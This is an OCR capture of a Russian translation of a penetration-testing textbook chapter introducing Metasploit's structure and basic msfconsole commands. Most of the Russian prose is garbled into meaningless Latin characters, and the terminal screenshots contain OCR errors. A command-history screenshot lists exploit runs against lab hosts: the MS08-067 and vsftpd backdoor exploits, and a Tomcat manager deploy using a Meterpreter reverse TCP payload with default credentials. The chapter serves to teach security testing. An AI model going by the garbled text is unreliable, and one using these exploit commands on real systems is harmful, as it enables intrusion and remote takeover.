ySI3BUMOCTEN
\ Product detection result (Pe3yabsrar oOHApYKeHHS TIPOITYKTA)
\ References (Ccpuikn)

Pe3lome

Ota masa aaja BaM BaxHbIH 0030p OpenVAS, HaunHas ¢ €ro HACTPOUKH U
3aKaH4YMBAas MCIIOJIb30BaHUEM €r0 JUIS OLEHKH ysi3BUMOCTel. Crenyromas
I71aBa TIO3HAKOMMT Bac C YHHBEPCaJbHOM cTpyKTypoil Metasploit u momoxer
noHATh, kKak NMAP u OpenVAS MoryT ObITh HHTErpupoBaHbl ¢ Metasploit.

YnpaxHeHusa «Caenan cam» (DIY)

"\ Yeranosute OpenVAS B VirtualBox uinn VMware.

A\ Ucnonp3yiite OpenVAS i CKaHUPOBAHHUS OJJHOTO XOCTa
Windows u omHoro xocTa Ha ocHoBe Unix.

"\ Cosnanue otyeroB 00 ys3Bumoctsix B HTML u PDF.
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MABA 3

Metasploit

B npenpinymux apyx masax paccMaTpuBainck NMAP u OpenVAS,
KOTOpBIE BBl MOXKETE MCIIOIB30BaTh AJsl cOopa uH(popManuy, moacyera 1
OLICHKHU yA3BUMOCTH. B nanpHelieM B 3TOH I1aBe paccMaTpPUBAIOTCS
ocHOBBI Metasploit, KoTOpble TOMOTYT BaM IPOUTH OCTABLIMECS 3TAIIbI
JKMU3HCHHOT'O IUKJIa TCCTUPOBAHUA HA TPOHUKHOBCHUC. B YaCTHOCTH, 3Ta

IJ1aBa OXBATbIBACT CICAYIOLICE:

o\ Beenenue B Metasploit

A\ 0630p cTpykTypsl Metasploit

!\ OCHOBHBIC KOMAH/IbI U HACTPOIKH

\ Be13oB ckanupoBanuss NMAP u OpenVAS u3 Metasploit
!\ CkaHnupoBaHue ¢ iomoribto Metasploit

!\ OcHoBbl Meterpreter

BeeneHune B Metasploit

Metasploit 6su1 BeinyiiieH B 2003 romy, koraa X.J1. Myp pa3paboran
MEPEHOCHOM ceTeBor HHCTpyMeHT Ha Perl. B 2007 roxy 6bL10
epecMOTpeHo ucmojb3oBanue Ruby. [Ipoekt Metasploit momyuun
KOMMEpPUEeCKOe IPU3HAHKE U MTOMYJISIPHOCTH, Kora Rapid 7 mpuobpein ero B
2009 roxy.

Metasploit - 30 He MPOCTO HHCTPYMEHT. DTO TMONHAs CTpyKTypa. OH
Ype3BBIYANHO HAJIE)KEH U THOOK U UMEET MHOXKECTBO HHCTPYMEHTOB JIJIs
BBIMOJHCHUS PA3IMYHBIX MPOCTHIX U CIIOXKHBIX 3a1ad. OH obnamaet
© Sagar Rahalkar 2019

S. Rahalkar, Quick Start Guide to Penetration Testing,
https://doi.org/10.1007/978-1-4842-4270-4_3



masa 3 Metasploit

YHUKAJIbHOW CIIOCOOHOCTBIO BBIMIOJHATH MPAKTUUECKU BCE 3a]a4M, CBSI3aHHBIC
C JKM3HEHHBIM IIMKIIOM TECTHPOBaHHMS Ha MPOHHMKHOBeHHUE. Vcmomb3ys
Metasploit, Bam He HYKHO u©300peTaTb BeEJOCHIEH; BBl IMPOCTO
COCpeloTaynBaeTeCh Ha LEISIX TECTUPOBAHWS HAa NPOHUKHOBEHHE, U BCE
BCIIOMOTATeNIbHbIE  JEHCTBUS MOTYT BBINONHATHECS C  HCIHOJIB30BAaHUEM
Pa3IMYHBIX KOMIOHEHTOB IIAT(GOPMEL.

Xotst Metasploit sBIsieTCS MOIIHBIM U CITIOCOOHBIM, BaM HEOOXOIUMO
YEeTKO MIOHUMATh €Tr0 CTPYKTYPY B KOMITIOHEHTHI, YTOOBI 3(h(peKTHBHO
UCTIONH30BATh €ro0.

Metasploit mpeiaraet Tpu BhIITyCKa.

A\ Metasploit Pro
o\ Metasploit Community
\ Metasploit Framework

B pamkax sTo#i KHUTM MBI OyJeM HCIOJB30BaTh Bepcuto Metasploit
Framework.

AHaTtomMmus n cTpyktypa Metasploit

[Mpesxae yem nepexonuTh K peaibHBIM KoMaHjaM (GpeliMBOpKa, BaM cHavaa
HEOOXOMMO TOHATH CTPYKTYpy Metasploit. Jlyummit U camblii TipocToi
crnoco0 y3HaTh 001Iy10 CTPYKTYpy Metasploit - 3To mpocTo MpocMOTpPETh €ro
katasor. B Kali Linux Metasploit mo yMom4aHuIO HaxogUTCA B
{usr/share/metasploit-framework, kak mokazaHo Ha pucyHke 3-1.
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masa 3 Metasploit

root@kali: /usr/share/metasploit-framework e ® 0

File Edit View Search Terminal Help

root@kali:~# cd /usr/share/metasploit-framework/
root@kali: /usr/share/metasploit-framework# s

app Gemfile.lock msfdb Rakefile tools
config lib isfrpe ruby vendor
data metasploit-framework.gemspec msfrpcd script-exploit

db modules msfupdate script-password
documentation msfconsole msfvenom script-recon

Gemfile ms fd plugins scripts

root@kali:/usr/share/metasploit-framework# I

Pucynok 3-1. Cmpyxkmypa kamanozoe Metasploit

Brr moxxere BuzeTh, uto Metasploit umeeT 4eTko onpenaeneHHY0
CTPYKTYPY, KIacCUPUIUPYIOIIYIO pa3IHIHbIE KOMIIOHEHTHI 110 Pa3HBIM
KaTeTOpHUsIM.

Ha Bricokom ypoBHe Metasploit MOKHO BH3yaIM3upOBaTh, Kak OKa3aHO Ha
pucynke 3-2.

mm_ Auxiliaries |
— LET CET: D
— Exploits

B encoders
-
aw  Post |

—
| .
O
P
Q
£
(©
o
|5
=
e
o
v
(T
-
Q
=

Pucynox 3-2. Pasnuunvie komnonenmul Metasploit
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masa 3 Metasploit

Auxiliaries

BcrnoMorarenbHbie yCTpOWCTBa - 3TO MOIYNH, KOTOpBIE AenatoT Metasploit
TakuM ruOkuM. BemomorarensHoe cpeactBo Metasploit - 3To He 4TO UHOE,
KaK KyCOK KoJia, CTICIMaJIbHO HAITMCAHHBIN JAJIS1 BHITIOJIHEHHMS 33/1a49H.
Hampumep, BBl MOXKETE IPOBEPUTH, pa3peliacT Ju KOHKpeTHbI FTP-cepsep
AQHOHMMHBIN JTOCTYIN WX Bail BeO-cepBep ya3BuM Ais heartbleed ataku. J{ist
BCEX ATUX 3aJa4 CYIIECTBYET BCIIOMOI'aTeJIbHBIN MOIYIIb.

Ha camom neme Metasploit umeer Gomee 1000 BcroMorarelbHBIX
MoOfyJNel, kiaccupuIMpoBaHHBIX B 19 kareropusix. Hmke mepedncieHsl

BCIIOMOTaTENbHBIE KaTeTOPHH, JOCTyIHEIe B Metasploit:

Admin  Analyze Bnat
Client Crawler Docx
Dos Fileformat Fuzzers
Gather  Parser Pdf
Scanner Server Sniffer
Spoof Sqli Voip
Vsploit

Payloads ([lonesHasi Harpy3ka)

Brl1 yrke y3HaIu, 4TO SKCIIONT - 3TO (parMeHT KoAa, KOTOPBIN OyaeT
HCIIOJIB30BATHCS MPOTHUB YyA3BUMOI0 KOMIOHeHTa. Koj akcruioiTa MoxkeT
BBITIOIHSTHCA YCIEUIHO, HO TO, YTO BBl XOTUTE MOIYYHUTh MOCIE YCIEIIHOTO
JKCIUIONTA, ONpEAEIIeTCs MoJe3H0M Harpy3Kkol. [Ipoie rosopsi, monesHas
Harpyska - 3T0 JelCTBHUE, KOTOPOE€ HEOOXOIUMO BBIIOJIHUTE IIOCIE

BBITIOJTHEHHS DKCTUIOMTA.
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I'maBa 3 Metasploit

Hanpumep, ecim BBl XOTHTE cO3/1aTh 00paTHYIO 000JIOUKY B CBOCH CHCTEME,
BaM HYHO BbIOPATH JIJIsl 3TOTO COOTBETCTBYIOIYIO TOJIC3HYIO HATPY3KY
Metasploit. Metasploit umeeT okoio 42 TONE3HBIX HATPY30K B CICTYIOIINX
KaTeropusX:

Singles Stagers Stages

Exploits

OKCIIONTHI SBJISIOTCS Ype3BBIYATHO BaskHOM yacThio Metasploit. Llens Bcero
(hpeiiMBOpPKa - PEIIOKUTH IKCIUIONTHI IS Pa3IMYHBIX YI3BUMOCTEH.
DKCIUIONT - 3T0 (haKTHUECKUI KO, KOTOPBI OyNeT BBITOIHATHCS B LIETEBOM
cucTeMe JIJIsl KCIIOIb30BaHus ysi3BUMOoCTU. Metasploit umeer 6omee 1800
9KCIUIONTOB B 17 KaTreropusx.

Huxe nepednciensl pa3inyHble KaTErOPUU 3KCIUIONTOB, JOCTYIIHBIX B
Metasploit:

Aix Android Apple_ios
Bsdi Dialup Firefox
Freebsd  Hpux Irix
Linux Mainframe  Multi
Netware  Osx Solaris
Unix windows

Encoders (kogepbl)

Metasploit momoraet Bam co31aBaTh MIMPOKHIA CIIEKTP MOJIE3HBIX HATPY30K,
KOTOPBIE BBl MOXKETE OTIIPABIIATH B IIe]Ib HECKOJIBKUMHU criocobamu. [Ipu sTom
BITOJIHE BO3MOXKHO, YTO Ballla TI0JIe3Hasi Harpy3ka OyzieT oOHapyKeHa
AHTUBUPYCHBIM IIPOTPaMMHBIM 00€CIIEUEHUEM HITH JIFOOBIM IPOTPAMMHEBIM
obecreueHreM 6€30MMaCHOCTH, IPUCYTCTBYIONINM B IIETIEBOH crcTeMe. 31eCh

KOJIEpbI MOTYT ITOMOYb.
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masa 3 Metasploit

Kozneps! ucronbs3yroT pa3nuyaHble METOIBI U AITOPUTMBI, YTOOBI CKPBITH
MOJIC3HYIO HArpy3Ky TaK, YTOOBI OHA HE OOHAPYKUBAJIaCh aHTUBUPYCHBIM
nporpaMMHbIM oOecrieueHueM. Metasploit umeet okoto 40 KOJEpOB B IECATH

KaTeropusix, KakK 1nmokKka3aHo 3/1€Ch:

Cmd Generic

Mipsbe Mipsle

Php Ppc
Ruby Sparc
X64 X86

[esatenbHocTb nocne akcnnyartaunn (Post)

Kak Tonpko BbI mommyuniii 0a30BEIH TOCTYI K Balllei IeTIeBOW CUCTEME,
HCTIONB3YS JTFOOO0M U3 TOCTYITHBIX SKCILIOUTOB, BEI MOKETE UCIIOIH30BATh
TIOYTOBBIE MOAYIHU IS JATHHEHIIIETO MPOHUKHOBEHHUS B IEJICBYIO CUCTEMY.
DTy MOIYJU TIOMOTYT BaM BO BCEX JEHCTBUAX TOCIIE AKCIUTyaTaIiH,

BKJTIOYAs CIIEAYIOIIHUE:

\ [oBbIeHre TPUBHIIIETUI TIOH30BATEIS TOOt HITH
aJIMHHHUCTPATOP

\ [TonyueHre yUEeTHBIX TaHHBIX CHCTEMbI

\ Kpaka Kyky ¥ COXpaHEHHBIX YYE€THBIX JaHHBIX

o\ 3axBaT Ha)KaTHI KJIABUII B II€JICBOM CHCTEME

°\ BrlinosiHeHHe 11051b30BaTeNIbCKUX ciieHapueB PowerShell mst

BBITTIOJTHCHUS JOMOJTHUTCIIBHBIX 3a1a4

o\ OOecneueHre NOCTOSHHOTO JOCTYyIIa
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maea 3 Metasploit

Metasploit nmeet okono 311 Momysei mocie HKCILTyaTaIiu B
cnenyronux 11 kareropusx:

Aix Android
Cisco Firefox
Hardware Juniper
Linux Multi
Osx Solaris
Windows

OCHOBHbI€ KOMaHObl U KOHPUrypaums

Tenepb, KOT/Ia BBl 3HAETE OCHOBHYIO CTPYKTYpPY U aHaTOMHIO Metasploit, Bb
MOXeTe HadaTh paboTy ¢ ero uarepdeticom. UToOBI MOTYYHUTH TOCTYII K
Metasploit, oTkpoiiTe TepMHUHAI U BBeIUTEe KoMaH 1y msfconsole, kak

MOKa3aHO Ha pUCYHKe 3-3.
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root@Kkali: ~ (- IO )
File Edit View Search Terminal Help
root@kali:~# msfconsole

/7 \\
// \\
/7 \\ \(@)

// \\ i

|
|
/7 \\ |
|
|

e

|

| | .
| : Pl
(@) (@) """**| (@) (@)**] (@)

--=[ 1801 exploits - 1027 auxiliary - 311 post
+ -- --=[ 538 payloads - 41 encoders - 10 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp

nst > Il
Pucynox 3-3. Hauanvnoui sxpan MSFconsole

help (Momoub)

OtkpeiB MSFconsole, BBl MOXkeTe MOMY4YUTh HHYOpMALIUIO 000 Bcex
OCHOBHBIX KOMaH/aX, UCIIOJNB3Ysl KoMaHay help, Kak mokasaHo Ha pucyHke 3-4.
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root@kali: ~

File Edit View Search Terminal Help

msf = help

Core Commands

color
connect
exit
get
getg
grep
help
history
load
quit
route
save
sessions
set
setg
sleep
spool
threads
unload
unset
unsetg
wversion

Module Commands

Command
advanced
back
info
loadpath
options

popn
previous
pushm
reload all
search
show

use

Description

Help menu

Display an awesome metasploit banner

Change the current working directory

Toggle color

Communicate with a host

Exit the console

Gets the value of a context-specific variable

Gets the value of a global variable

Grep the output of another command

Help menu

Show command history

Load a framework plugin

Exit the console

Route traffic through a session

Saves the active datastores

pump session listings and display information about sessions
Sets a context-specific variable to a value

Sets a global variable to a value

Do nothing for the specified number of seconds
Write conscle output into a file as well the screen
view and manipulate background threads

Unload a framework plugin

Unsets one or more context-specific variables
Unsets one or more global variables

Show the framework and console library version numbers

Description

Displays advanced options for one or more modules

Move back from the current context

Displays information about one or more modules

Searches for and loads modules from a path

Displays global options or for one or more modules

Pops the latest module off the stack and makes it active
Sets the previeusly loaded module as the current module
Pushes the active or list of medules onto the module stack
Reloads all medules from all defined module paths
Searches module names and descriptions

pisplays modules of a given type, or all modules

selects a module by name

Pucynox 3-4. Bvi6oo komanowt help ¢ MSFconsole

version

Vs3puMocTu 06Hapy>KI/IBaIOTC$I 6I>ICTp0, n COOTBCTCTBYIOH.[I/Iﬁ KO JKCILJIOHTA

TAKIKEC YaCTO BBIITYCKACTCA BCKOPEC IMMOCJIC 3TOrO. HOBTOMy Ba’>XHO, YTOOBI

Metasploit ObLI COBpEMEHHBIM U IMEJI CaMbIH ITOCIETHII HAa00p Koja

sKkcmiolTa. YToOb!l yOenuTbes, uTo Bepcust hpeMBOpKa SBISIETCS] CaMOM

HOCJ'ICI[HCﬁ, BbI MOKETE UCIIOJIb30BATh KOMaHy VE I'Sion, KaK IIOKa3aHO Ha

pucynke 3-5. 3aTeM BBl MOKETE CPAaBHUTH 3Ty BEPCHIO C JOCTYITHOH B

penosuropun Metasploit Git.
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root@Kkali: ~ e e 0

File Edit View Search Terminal Help

msf > version
Framework: 4.17.7-dev
Console : 4.17.7-dev
nst > [

Pucynok 3-5. Bv1600 komarnowl eepcuu 6 MSFconsole

connect

Ham Bcem wm3BecTHBI Takue yTtwiuthl, kak Telnet, SSH u Netcat, koTopsie
MOMOTAIOT HaM B yAaJeHHOM aJMHHUCTpUpoBaHMH. Metasploit umeer
BCTPOEHHYIO YTHIUTY MOJ] Ha3BaHHEM connect, KOTOPYIO MOXKHO HCIOIb30BaTh
IUIsl YCTaHOBJICHHSI COEIMHEHUS U B3aUMOJCHUCTBUSI C ynajJeHHO! cucteMoil. Ox
noanepxusaeT SSL, nmpokcu, MoBopoT U nepeaady ¢aiinos. Komanne connect
TpeOyercs aefcTBuTeNnbHbIN [P-agpec u mopT 11 NOAKIIIOUEHHS, KaK [TOKa3aHO

Ha pucCyHKe 3-6.

root@Kkali: ~ @ ® 0

File Edit View Search Terminal Help

msf > connect 192.168.25.129 21
[*] Connected to 192.168.25.129:21
220 (vsFTPd 2.3.4)

Pucynok 3-6. Bv16o0 komarowl nookarouenusi ¢ MSFconsole
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history

MSFconsole mOTHOCTBIO YIIpaBIISETCS M3 KOMAHTHOW CTPOKH, M JUTS KaXKI0H
3a/1a4¥, KOTOPYIO HY>KHO BBITIOJTHUTH, BAM HYKHO BBECTH KaKyIO-TO KOMaH]TY.
Uto0b! yBUICTh KOMaHIbl, KOTOPBIC BBl HCIONIb30Baiu B MSFconsole, BBl

MOXEeTe MCIOIb30BaTh KoMaHay history, kak mokazaHo Ha pHUCYHKe 3-7.

File Edt View Search Terminal Help

msf > history

48  exploit

50  use exploit/windows/smb/msBg 867 netapi
51 set RHOST 18.216.245.55

52 exploit

53 sessions -1

54 exit

55 exit

56 use exploit/windows/smb/ms@8 867 netapi
57 show options

58 set RHOST 192.168.25.138

59 exploit

60 exit

61 use exploit/windows/smb/ms@8 867 netapi
62 set RHOST 192.168.25.138

63  exploit

64 search vsftp

65 use exploit/unix/ftp/vsftpd 234 backdoor
66 show options

67 set RHOST 192.168.25.129

68  exploit

69  back

7@ search tomcat

71 search tomcat_mgr

72 use exploit/multishttp/tomcat_mgr_deploy
73 set PAYLOAD java/meterpreter/reverse_tcp
74  show options

75 set RHOST 192.168.25.129

76 set LHOST 192.168.25.128

7 set HTTPUSERNAME tomcat

78  set HTTPPASSWORD tomcat

73  set target 8

86 set RPORT Bl88

81 use exploit/windows/smb/ms@s_867_netapi
a8z set RHOST 192.168.25.120

83 exploit

84 back

85 use exploit/windows/smb/msB68 867 netapi
86 set RHOST 192.168.25.13@

87  exploit

B8 exit

89 use exploit/windows/smb/ms88 867 netapi
96 set RHOST 192.168.25.138

91 exploit
92 use auxiliary/analyze/jtr_crack_fast
93 run

94 db_connect

95 db_status

96  db_connect

97 db connect

98 exit

99 exit

18é db_connect

181 db_rebuild cache
182 db status

Pucynox 3-1. Bv1600 komanowl ucmopuu 6 MSFconsole
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set u setg

B Metasploit ecTb HEKOTOpBIE TEPEMEHHBIE, KOTOPhIE HEOOXOIMMO
YCTaHOBUTH IIE€PE BBIMIOTHEHUEM JIF000T0 MOAYJISI WIIH DKCIUIONTA. DTH
MepeMEeHHbIE OBIBAIOT IBYX THIIOB.

*\ Local: JlokanbHbIe IEpEeMEHHBIC OTPaHUYCHBI U ACHCTBUTEIBHBI

TOJIBKO JJISL OJTHOTO IK3EMILISIpA.

*\ Global: I'mo6anpHbIe IEpeMeHHbIE, TOCTE UX OMPEICTCHHS,
MPUMEHHUMBI BO BCEH CTPYKTYpE ¥ MOTYT OBITh HCIIOIH30BaHbBI

Be3JIe, IJIe 3TO HEOOXOIUMO.

Komanna set ucronb3yeTcs I ONpeieNieHNs 3HAYCHNUH JIOKaIbHBIX
MEPEeMEHHBIX, a KOMaH/1a setg UCTIOIb3YETCsl IS ONpeeIeHNUs 3HAYeHUH
100aJbHBIX TIEPEMEHHBIX, KaK MMOKa3aHo Ha puc. 3-8.

root@Kali: ~ e ® O
File Edit View Search Terminal Help
msf > set
Global

No entries in data store.

msf > set RHOST 192.168.25.129
RHOST => 192.168.25.129

msf > setg RHOST 192.168.25.129
RHOST => 192.168.25.129
nst > |

Pucynox 3-8. Bvi6o0o komano set u setg 6 MSFconsole
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get u getg

B nipeapinymem pasfere Bbl YBUICH, KaK YCTAHABINBATH 3HAYCHUS
JIOKaJIbHBIX ¥ TI00aJbHBIX MepeMEHHbBIX. Kak TOJIbKO STH 3HaYCHUS
YCTaHOBJICHBI, BBl MOXKETE YBUJICTh 3TH 3HAUCHUS C IIOMOIIbIO KOMaH[ get U
getg, Kak moka3aHo Ha pucyHke 3-9. Komanna get u3BiekaeT 3HaUCHUS

JIOKAJIbHBIX MCPEMECHHBIX, 4 KOMaH1a getg M3BJIEKAET 3HAYECHUS TT100aTBHBIX

IIEPEMEHHBIX.
root@kali: ~ o0
File Edit View Search Terminal Help
msf > get =
Usage: get varl [var2 ...]

The get command is used to get the value of one or more variables.

nsf > getg
Usage: getg varl [var2 ...]

Exactly like get -g, get global variables

=
-y

S
H
3

> get RHOST
ST => 192.168.25.129
> getg RHOST
ST => 192.168.25.129

>

B E|
- O

)
o

H

B

Pucynox 3-9. Bvieoo komano get u getg ¢ MSFconsole

unset n unsetg

Komana unset HConb3yeTcst is yAaJCHUs 3HAYCHUI, Ha3HAYECHHBIX
JIOKaJIbHOM MEPEMEHHOIA, B TO BpeMsl KaK KOMaH/a unsetg UCHOJIb3YeTCs IS
ylaueHus 3HaYCHUH, HA3HAUYCHHBIX TII00ATbHOM IEPEMEHHOM, KaK TI0Ka3aHo
Ha pucyske 3-10.
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root@Kali: ~ © 0 0
File Edit View Search Terminal Help
msf > unset RHOST =

Unsetting RHOST...
msf > unsetg RHOST
Unsetting RHOST...
msf > get RHOST
RHOST =>

msf > getg RHOST
RHOST =>

nsf > i

Pucynok 3-10. Bvisoo komano unset u unsetg ¢ MSFconsole

save

Bo BpeMA pa6OTBI HaJa MPOCKTOM TCCTHPOBAHHA HAa MPOHUKHOBCHUC MOKCT
CIIYYUTBCA TaK, YTO Bbl HACTPOUTEC MHOXKECTBO T00ATBHEIX MEPEMCHHBIX U
HACTPOCK. BBI, KOHCYHO, HC XOTUTEC TCPAThH ITHU HaCTpOﬁKH; KOMaHJa Save

3alKChIBACT TEKYIYIO KOH(UTYypaluio B (haiiii, Kak rmoka3zaHo Ha pucyHke 3-11.

root@Kkali: ~ e ® O
File Edit View Search Terminal Help
msf > save =
Saved configuration to: /root/.msf4/config

nsf > i

Pucynox 3-11. Bvigoo komanout save ¢ MSFconsole
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info

B Metasploit ocTymmHO MHOXKECTBO MOYJEH U TIarnHoB. HeBo3MOXHO
3HATh WX Bce. Besakuit pas, Korma BeI XOTHTE UCITOJIB30BaTh KaKOH-TH00
MO[YJTb, BB MOJKETE Y3HATh OoJiee MOoApOoOHYI0 HHPOPMAIIHAIO O HEM,
UCTONB3ys KoMaHAy info, kak moka3ano Ha pucyHke 3-12. [Ipocto ykaxure
HMS MOIYJISl B Ka4eCTBE MapaMeTpa Uit KoMan sl info, 4ToObI MOTYYHUTH €T

noApoOHYI0 HH(popManuio.

root@kali: ~ oo
File Edit View Search Terminal Help
msf > info -h a
Usage: info <module name> [mod2 mod3 ...]
Options:

* The flag '-j' will print the data in json format

* The flag '-d' will show the markdown version with a browser. More info, but could be slow.
Queries the supplied module or modules for information. If no module is given,

show info for the currently active module.

msf > info payload/windows/meterpreter/reverse_tcp

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 283
Rank: Normal

Provided by:
skape <mmiller@hick.org>
sf <stephen fewer@harmonysecurity.com>
0J Reeves
hdm <x@hdm.io>

Basic options:

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Description:

Inject the meterpreter server DLL via the Reflective DLl Injection
payload (staged). Connect back to the attacker

mst > |

Pucynox 3-12. Bvi6oo xomanovw info ¢ MSFconsole

Metasploit ocHoBan Ha Ruby. OH mpejyiaraeT HHTEpaKTUBHYO 000JI0UKY
Ruby (irb), B KoTOpO#i BBl MOXKETE BBIIIOIHSTH CBOH COOCTBEHHBINH HAOOP
MOJIB30BaTEIbCKUX KOMaH[. ITOT MOIYIIb PAaCIIMPSET BO3MOKHOCTH

Metasploit mocne skcmyaranun. [Ipocto BBeanTe koMaHy irb, Kak Mmoka3aHo

Ha pucyHke 3-13, uToObl BOMTH B 000J10UKY irb.
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Urto6s! y3HATH OOMBIIIE O TTpOorpaMMupoBanny Ha Ruby, oOparurecs k
https://www.ruby-lang. org/en/.

root@kall: ~ [-NCoN -]
Fle Edt View Seach Terminal Help
pif > irb
Starting IRB shell

> print "Hello MEtasploit
Mello MEtasploitss nil
242

» 4

Pucynok 3-13. Bvi6oo komanowi irb ¢ MSFconsole

show

B HayanbHON 4acTH 3TOM MIaBbI Bbl YBUACIH PA3INYHbIC KOMIIOHEHTHI
Metasploit, BKJIF04Yast BCIOMOTaTeIbHbIE, IKCIUIOMTHI, TIOJNE3HbIC HATPY3KU
tak ganee. Mcmonb3ys koMmaHay show, kak mokazaHo Ha pucyHke 3-14, Bbl
MOXKETE TIEPEUUCITUTh COMEPKUMOE KK I0M Kareropuu. Hampumep, BB
MOJKETE UCIIOIb30BaTh KOMaH Iy Show, 4TOOBI IOTY4YHTh CIIMCOK BCEX
BCIIOMOTaTENBHBIX MOAYIIEH, TOCTYITHBIX B PaMKaXx.

s - eeoo0

o14-03.34

Pucynox 3-14. Bvisoo komanowi show 6 MSFconsole
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spool

BrI yxxe Bueny kKoMaHIy COXpaHEeHUs, KOTOPast 3aITNChIBAET
KoH(HUTyparyio B Qaiisi. B KOHKpeTHOM ClieHapWH BBl MOXKETE COXPAHUTh
BBIXOJHBIE TaHHBIE BCEX MOIYJIEH M KOMaH], KOTOPbIE BHI BBHITTOHSETE.
Komanpa spool, kak mokazaHo Ha puc. 3-15, 3anuchIBacT BCe BHIXOAHBIC

JaHHBIC KOHCOJIM B y1(a3aHHbIﬁ (pafm.

root@kali: ~ (- IO <}

File Edit View Search Terminal Help
nsf > spool
Usage: spool <off>|<filename>

Example:
spool /tmp/console.log

msf > spool /root/Desktop/msf.log
Spooling to file /root/Desktop/msf.log...
msf >

Pucynok 3-15. Bvi6oo komanowt spool 6 MSFconsole

makerc

ABTOMaTH3aIMs UTPAST BaKHYIO POJIb B JTIOOBIX pamMKax. Beeraa mone3Ho
aBTOMATH3HMPOBATH Ky4y IMOBTOPSIOMINXCS 33/1a4, YTOOBI COKOHOMUTD BpEMsI U
yeunus. Komanna makerc, kak mokaszaHo Ha puc. 3-16, momoraet

aBTOMATH3UPOBATh 3a/1auu Metasploit, coxpaHss UX B BHJIE CKPHIITA.

root@kali: ~ e ® 0

File Edit View Search Terminal Help

msf > makerc
Usage: makerc <output rc file>

Save the commands executed since startup to the specified file.

msf > makerc /root/Desktop/msfcommands. txt

[*] Saving last 49 commands to /root/Desktop/msfcommands.txt ...
sf > ||

3

Pucynox 3-16. Bvieoo xomanowvr makerc 6 MSFconsole
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db_initiate

VYuauteiBas cioxHyro npupoxy Metasploit, TpHBHANIBEHO, YTO JOJDKHA
CYIIECTBOBaTh HEKOTOpas 0a3a NaHHBIX, KOTOpasi MOTyia OBl HCIIOIb30BAThCS
IUIs1 XpaHeHUsI JaHHBIX 3a1a4i. Metasploit Mo yMOIYaHUIO HHTETPUPOBaH C
6azoit manHbIX PostgreSQL. CHadana Hy)KHO 3aIyCTHTh CITY>KOY 0a3bl TaHHBIX,
BBITIOJTHUB KOMaHTy systemctl start postgresql, a 3arem xomanay msfdb init,

Kak M0Ka3aHo Ha pucyHke 3-17.

root@kali: ~ e ® 90
File Edit View Search Terminal Help

root@kali:-# systemctl start postgresql
root@kali:~# msfdb init
Database already started
Creating database user 'msf’'
Creating databases 'msf’
Creating databases 'msf test'
Creating configuration file '/usr/share/metasploit-framework/config/database.yml’
Creating initial database schema
root@kali:~# []

Pucynoxk 3-17. Bvieoo xomano systemctl u msfdb init ¢ mepmunane

db_status

ITocae TOT'0, KaK Bbl MHUITUAJIU3UPOBAIN 633y JaHHBbIX, BbI MOXKETC
MOJATBEPANTh, 4T0 Metasploit MOaKIIFOUSH K HEl, BBITOJTHUB KOMaHTy
db_status B MSFconsole, kak mokazaHo Ha pucyHke 3-18.

root@kali: ~ e 00
File Edit View Search Terminal Help
msf > db status
[*] postgresql connected to msf
msf >

Pucynoxk 3-18. Bvieoo komanowt db_status ¢ MSFconsole
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workspace

NHuorna MOXeT CIlydnuThCs TaK, YTO BaM MOTpedyeTcs paboTaTh Haj

HECKOJIbKMMHU NNPOCKTAMU TECTUPOBAHNA HA IPOHUKHOBCHHUE OAHOBPEMCHHO.

BLI, KOHCYHO, HE XOTUTEC CMCUINBATh JAHHBIC N3 HECKOJIBKUX ITPOECKTOB.

Metasploit mpemiaraet 3 QpeKTHBHOE yIpaBlieHue pabodnM IPOCTPAHCTBOM.

J11st Ka>KI0T0 HOBOTO MPOEKTa BBl MOJKETE CO3/aTh HOBOE pabouee

MPOCTPAHCTBO U TEM CaMbIM OTPAaHUYUTH JaHHBIC IIPOEKTA 3TUM PaboInM

mpoctparcTBoM. Komanna paboueit o61acTy, Kak OKa3aHO Ha prCyHKe 3-19,

HEepeYnCIIfeT JOCTyNHbIE paboune obnacTi. Bl MoxkeTe co3naTh HOBOE

pabodee mpoCTpaHCTBO, UCIIONB3Ys KOMaHAy workspace -a <name>.

File Edit View Search Terminal
msf > workspace -h
Usage:
workspace
workspace -v
workspace [name]
workspace -a [name]
workspace -d [name]
workspace -D
workspace -r <old> <new>
workspace -h

msf > workspace
* default
msf > workspace -a sagar
[*] Added workspace: sagar
msf > workspace
default
* sagar
nst > Il

root@Kkali: ~
Help

List workspaces

List workspaces verbosely
Switch workspace

Add workspace(s)

Delete workspace(s)

Delete all workspaces
Rename workspace

Show this help information

Pucynox 3-19. Bvigoo xomanowvt workspace 6 MSFconsole

O >
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masa 3 Metasploit

BbizoB ckaHupoBaHna NMAP un
OpenVAS un3 Metasploit

B sToM paznene pacckasbIBaeTcs, KaK BBl MOXKETE 3aIlyCKaTh U
MHATUHAPOBATh ckanupoBanue NMAP u OpenVAS w3 koHCOIH
Metasploit.

NMAP

Br1 y3nanu o NMAP panee B 31oii kaure. Bol Bunenn, uro NMAP moxer
OBITH 3alylIeH U3 HHTepdeiica KOMaHIHON CTPOKHU W TPa@uuecKoro
noJb3oBareibekoro nHTepdeiica ZENMAP. Onqnako ecTs elie oauH crocod
MHUAIMHUPOBATh ckanupoBaHue NMAP, u 310 uepe3 koncons Metasploit.

MosxeT OBITh TTOJIE3HO UMIIOPTUPOBATh PE3YNBTaThl cCKaHupoBaHus NMAP
B Metasploit, a 3aTeM UCTIONBH30BaTh JOMOIHUTEIBHBIE CEPBUCHL. DTO MOYKET
OBITh JOCTUTHYTO JIByMS CIIOCOOaMHU.

\  Umnopm cxanos NMAP: Brl 3HaetTe, uto NMAP nmeet
BO3MO)KHOCTH T€HEPUPOBATh U COXPAHSTH PE3Y/bTaThI
ckanupoBanus B popmare XML. Bel MmoxkeTe mpocTo
nmmopTrpoBath BeiBort NMAP XML B Metasploit c
noMoIibio koMau el db_import, Kak mokazaHo Ha

pucynke 3-20.
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root@kali: ~

Help

File Edit View Search Terminal
[*] exec: clear

msf > db import /root/Desktop/nmap.xml

[*] Importing 'Nmap XML' data

[*] Import: Parsing with ‘'Nokogiri v1.8.4'

{*] Importing host 192.168.25.129

[*] Successfully imported /root/Desktop/nmap.xml
msf > hosts

Hosts

address mac

Unknown

192.168.25.129 00:0c:29:11:8e:bl

nsf > i

masa 3 Metasploit

device

